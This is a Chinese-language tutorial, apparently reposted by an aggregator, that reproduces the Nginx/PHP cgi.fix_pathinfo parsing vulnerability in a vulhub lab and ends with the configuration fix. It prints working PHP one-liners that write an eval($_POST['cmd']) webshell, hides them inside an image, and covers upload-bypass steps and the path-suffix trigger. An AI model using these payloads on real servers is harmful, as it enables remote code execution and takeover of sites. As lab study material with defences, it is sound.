Nginx 解析漏洞复现及利用
Posted Tauil
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Nginx 解析漏洞复现及利用相关的知识,希望对你有一定的参考价值。
nginx 解析漏洞复现
今天被老师进行进行面试了,被问到了什么是解析漏洞,呜呜呜我太菜了,答不出来,但是生命不息,学习不止,现在就让我们一起学习一下什么是解析漏洞。
打开vulhub靶场,这个靶场搭建的方法在https://blog.csdn.net/Tauil/article/details/125869410?spm=1001.2014.3001.5502,这个漏洞的地址是在nginx/nginx_parsing_vulnerability,直接就是一个
cd nginx/nginx_parsing_vulnerability/
sudo docker-compose up -d
登录 http://靶机ip/uploadfiles/nginx.png,当在该URL中输入不存在的文件名x.php时,发现会自动显示php界面内容
这是什么原因呢?其实啊这就是nginx的文件解析出现了错误,在获得这个.php路径时他没有检查,一看是个.php后缀的文件就直接丢给php去处理了,php处理的时候发现 “诶?没有这个文件啊” 于是他就会继续向上找,就找到了.php的上级文件.jpg,然后把它当做php文件给处理了。具体的就看下面这个详细信息
Nginx 解析漏洞该解析漏洞是PHP CGI 的漏洞,在PHP的配置文件中有一个关键的选项cgi.fix_pathinfo默认开启,当URL中有不存在的文件,PHP就会向前递归解析 在一个文件路径(/xx.jpg)后面加上/xx.php会将/xx.jpg解析为 php 文件。
Nginx<=0.8.37 解析漏洞 在Fast-CGI关闭的情况下,Nginx <=0.8.37 依然存在解析漏洞,在一个文件路径(/xx.jpg)后面加上%00.php 会将 /xx.jpg%00.php 解析为php 文件。另一种手法:上传一个名字为test.jpg,包含以下内容文件:<?PHP fputs(fopen(‘shell.php’.‘w’),’<?phpeval($_POST[cmd])?>’);?> 然后访问test.jpg/.php 在这个目录下就会生成一句话木马shell.php。
昂,具体内容在这https://blog.csdn.net/niqiu320/article/details/115481193,有兴趣的自己看一下。
Nginx 解析漏洞利用
所以我们现在要做的就是上传一个图片马文件到这个网站上,然后在登录/.上传的.jpg/.php来执行该文件,从而生成我们的shell.php文件来连接靶机
首先随机拿一张图片,然后再写一个.php文件,里面写上
<?php fputs(fopen('shell.php','w'),'<?php eval($_POST["cmd"]);echo"hacker"?>');?>//创建名为shell.php的文件,并在文件中写入<?php eval($_POST["cmd"]);echo"hacker"?>
我这里用的图片就是这个,非常好认嗷。
然后在桌面(你两个文件在哪就在哪打开)打开cmd,执行命令
copy /b 图片文件+php文件 shell.jpg
然后就成功将两个文件合成为shell.jpg文件了,现在我们就可以访问http://靶机IP/index.php来上传我们的文件,很显然,不给上传,东西写进去文件被破坏了,被检验出不是正常的jpg不能上传了,可能有些朋友就成功了,因为第一次的时候我是可以的,现在应该是写的内容太多了,出了问题。
这时候我们就可以打开WexHex,将图片打开,拉倒文件的最末尾处,右键选择编辑,添加零字节,然后在上面写入以下内容
正常情况下保存后图片仍然能正常显示,如果还是不能正常显示的,可以打开burpsuite,然后上传正常图片时抓包,在数据末尾加上一句话木马,通常就能上传成功了。
现在将修改好的图片进行上传,上传成功后访问图片位置,图片内容正常,这时候在URL后加上/.php,让其运行php命令
会发现看不到我们写入的php命令了,但是其实是因为他已经成功执行了,这时候在uploadfiles的目录下已经成功生成了名为shell.php的文件,我们只需要访问该文件就可以了
这里的警告不用在意,这个不影响。这个时候就可以打开某不知名工具进行连接,连接成功后就可以进入到靶机内部
再深入的就不讲了,学习新思想,争做新青年,一起好好学习,努力为社会做出贡献。
nginx解析漏洞复现
nginx解析漏洞复现
一、漏洞描述
该漏洞与nginx、php版本无关,属于用户配置不当造成的解析漏洞
二、漏洞原理
1、 由于nginx.conf的如下配置导致nginx把以’.php’结尾的文件交给fastcgi处理,为此可以构造http://ip/uploadfiles/test.png/.php (url结尾不一定是‘.php’,任何服务器端不存在的php文件均可,比如’a.php’),其中test.png是我们上传的包含PHP代码的照片文件。
2、但是fastcgi在处理’.php’文件时发现文件并不存在,这时php.ini配置文件中cgi.fix_pathinfo=1 发挥作用,这项配置用于修复路径,如果当前路径不存在则采用上层路径。为此这里交由fastcgi处理的文件就变成了’/test.png’。
3、 最重要的一点是php-fpm.conf中的security.limit_extensions配置项限制了fastcgi解析文件的类型(即指定什么类型的文件当做代码解析),此项设置为空的时候才允许fastcgi将’.png’等文件当做代码解析。
注:限制fpm允许解析的脚本扩展名。此设置可以预防web服务器配置的错误。应当限制fpm仅仅解析.php扩展名,阻止恶意用户使用其他扩展名运行php代码。默认值:.php
三、漏洞环境搭建和复现
1、 使用docker搭建漏洞环境
2、 执行如下命令,运行环境
docker-compose up -d
3、 浏览器访问http://172.17.0.1/
4、上传一个图片,burp抓包,修改数据包,在末尾添加<?php phpinfo();?>
5、浏览器访问http://172.17.0.1/uploadfiles/3626850d481efd38a8ae8164011f41b2.jpg/a.php
下图看到成功执行了php代码,说明存在解析漏洞
6、修改php-fpm.conf的配置文件
7、重启服务
docker-compose restart
8、浏览器再次访问http://172.17.0.1/uploadfiles/b5f7a062d84869fe4f3af35b79fca50c.jpg/x.php,发现被拒绝,说明漏洞被修复
四、漏洞防御
1、 将php.ini文件中的cgi.fix_pathinfo的值设置为0,这样php再解析1.php/1.jpg这样的目录时,只要1.jpg不存在就会显示404页面
2、 php-fpm.conf中的security.limit_extensions后面的值设置为.php
以上是关于Nginx 解析漏洞复现及利用的主要内容,如果未能解决你的问题,请参考以下文章
Samba服务安全漏洞复现及利用[CVE-2007-2447]